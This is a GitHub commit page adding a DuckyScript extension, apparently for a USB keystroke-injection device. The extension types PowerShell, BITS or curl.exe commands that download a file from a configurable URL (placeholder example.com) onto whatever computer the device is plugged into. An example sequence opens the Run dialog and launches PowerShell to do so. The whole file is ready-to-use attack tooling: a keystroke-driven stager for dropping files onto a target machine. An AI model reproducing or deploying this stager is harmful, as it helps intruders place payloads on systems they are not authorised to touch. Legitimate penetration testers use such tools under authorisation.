Merge pull request #314 from 0iphor13/master

Added extension: Powershell_Download
pull/361/merge
Darren Kitchen 2023-06-09 19:30:25 -05:00 committed by GitHub
commit 1164ad9254
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
EXTENSION Powershell_Download
REM VERSION 1.0
REM Author: 0iphor13
REM Downloads the desired file via powershell
REM Use the method you want to use, via the specific function, define the URL and the output.
REM CONFIGURATION:
REM Delay before executing the download
DEFINE #INPUT_WAIT 2000
REM URL of the file which gets downloaded
DEFINE #URL https://example.com/
REM Output name of your downloaded file
DEFINE #OUTPUT default
REM Use Invoke-WebRequest to download a file onto the system
FUNCTION Invoke_WebRequest()
DELAY #INPUT_WAIT
STRINGLN Invoke-WebRequest -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
END_FUNCTION
REM Use Invoke-RestMethod to download a file onto the system
FUNCTION Invoke_RestMethod()
DELAY #INPUT_WAIT
STRINGLN Invoke-RestMethod -Uri '#URL' -UseBasicParsing -OutFile #OUTPUT
END_FUNCTION
REM Use Start_BitsTransfer to download a file onto the system
FUNCTION Start_BitsTransfer()
DELAY #INPUT_WAIT
STRINGLN Start-BitsTransfer -Source '#URL' -Destination #OUTPUT
END_FUNCTION
REM Use Curl.exe to download a file onto the system
FUNCTION Curl_exe()
DELAY #INPUT_WAIT
STRINGLN curl.exe -L '#URL' -o #OUTPUT
END_FUNCTION
REM EXAMPLE USAGE AFTER EXTENSION
REM Use the function fitting your usecase, Start_BitsTransfer() is used as example here
REM DELAY 2000
REM GUI r
REM DELAY 2000
REM STRINGLN powershell
REM DELAY 500
REM Start_BitsTransfer()
END_EXTENSION